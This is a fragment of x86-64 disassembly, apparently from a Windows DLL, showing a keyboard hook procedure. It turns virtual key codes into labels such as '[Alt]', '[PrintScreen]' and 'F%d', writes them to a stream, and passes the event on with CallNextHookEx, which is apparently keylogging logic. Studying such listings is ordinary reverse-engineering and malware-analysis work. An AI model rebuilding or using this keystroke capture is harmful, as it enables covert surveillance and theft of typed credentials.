call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803383c8]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803383d8]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Alt_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338410]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338428]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x180338438]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Select_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Print_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Execute_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Pause_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._PrintScreen_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Insert_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Clear_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Help_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._CANCEL
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, [0x1803384e8]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._IME
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Page_Up_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Page_Down_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Home_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._End_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._PC_Sleep_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_0_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_1_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_2_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_3_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_4_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_5_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_6_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_7_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_8_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
lea rdx, str._Num_9_
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x6f
jbe 0x180133e53
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x88
jae 0x180133e53
mov rax, qword [rbp + 0x48]
mov eax, dword [rax]
sub eax, 0x6f
mov r8d, eax
lea rdx, str._F_d_
lea rcx, [rbp + 0x5f58]
call fcn.180109285
lea rdx, [rbp + 0x5f58]
lea rcx, [rbp + 8]
call fcn.18010a57c
jmp 0x180133fd5
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x5f
jbe 0x180133e65
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x6a
jb 0x180133e89
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x40
jbe 0x180133e77
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x5b
jb 0x180133e89
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x2f
jbe 0x180133e9e
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x3a
jae 0x180133e9e
mov rax, qword [rbp + 0x48]
movzx edx, byte [rax]
lea rcx, [rbp + 8]
call fcn.180109e51
jmp 0x180133fd5
mov rax, qword [rbp + 0x48]
mov eax, dword [rax]
mov dword [rbp + 0x5f94], eax
cmp dword [rbp + 0x5f94], 1
je 0x180133ec3
cmp dword [rbp + 0x5f94], 0xff
jne 0x180133f81
mov edx, dword [rbp + 0x5f94]
lea rcx, [rbp + 0x6948]
call fcn.180105d4c
mov qword [rbp + 0x6a98], rax
mov rax, qword [rbp + 0x6a98]
mov qword [rbp + 0x6aa0], rax
mov r8, qword [rbp + 0x6aa0]
lea rdx, str._OEM
lea rcx, [rbp + 0x6988]
call fcn.180109721
mov qword [rbp + 0x6aa8], rax
mov rax, qword [rbp + 0x6aa8]
mov qword [rbp + 0x6ab0], rax
lea r8, [0x180338600]
mov rdx, qword [rbp + 0x6ab0]
lea rcx, [rbp + 0x69c8]
call fcn.18010b378
mov qword [rbp + 0x6ab8], rax
mov rax, qword [rbp + 0x6ab8]
mov qword [rbp + 0x6ac0], rax
mov rdx, qword [rbp + 0x6ac0]
lea rcx, [rbp + 8]
call fcn.180108ca4
nop
lea rcx, [rbp + 0x69c8]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x6988]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x6948]
call fcn.180107ce1
jmp 0x180133fd5
lea rdx, str._OEM
lea rcx, [rbp + 8]
call fcn.18010a57c
mov edx, dword [rbp + 0x5f94]
lea rcx, [rbp + 0x6a08]
call fcn.180105d4c
mov qword [rbp + 0x6a98], rax
mov rax, qword [rbp + 0x6a98]
mov qword [rbp + 0x6aa0], rax
mov rdx, qword [rbp + 0x6aa0]
lea rcx, [rbp + 8]
call fcn.180108ca4
nop
lea rcx, [rbp + 0x6a08]
call fcn.180107ce1
lea rdx, [0x180338660]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, [rbp + 8]
lea rcx, [0x1803c1290]
call fcn.1801042f8
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rcx, [0x1803c1290]
call fcn.18010a60d
nop
lea rcx, [rbp + 0xcb8]
call fcn.180107ce1
jmp 0x180134053
lea rdx, [0x180338670]
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
lea rdx, str.return
lea rcx, [0x1803c15f0]
call fcn.1801068a0
lea rdx, [0x1801062ba]
mov rcx, rax
call fcn.1801088d5
cmp dword [rbp + 0x6af0], 0xa
jne 0x18013409b
mov qword [rbp + 0x6a48], 0
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x6a48]
jmp 0x1801340d3
mov r9, qword [rbp + 0x6b00]
mov r8, qword [rbp + 0x6af8]
mov edx, dword [rbp + 0x6af0]
mov rcx, qword [0x1803e6018]
call qword [sym.imp.USER32.dll_CallNextHookEx]
mov qword [rbp + 0x6a68], rax
lea rcx, [rbp + 8]
call fcn.180107ce1
mov rax, qword [rbp + 0x6a68]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x18032e3a8]
call fcn.18010bfdf
mov rax, rdi
mov rcx, qword [rbp + 0x6ac8]
xor rcx, rbp
call fcn.180105df6
lea rsp, [rbp + 0x6ad0]
pop rdi
pop rsi
pop rbp
ret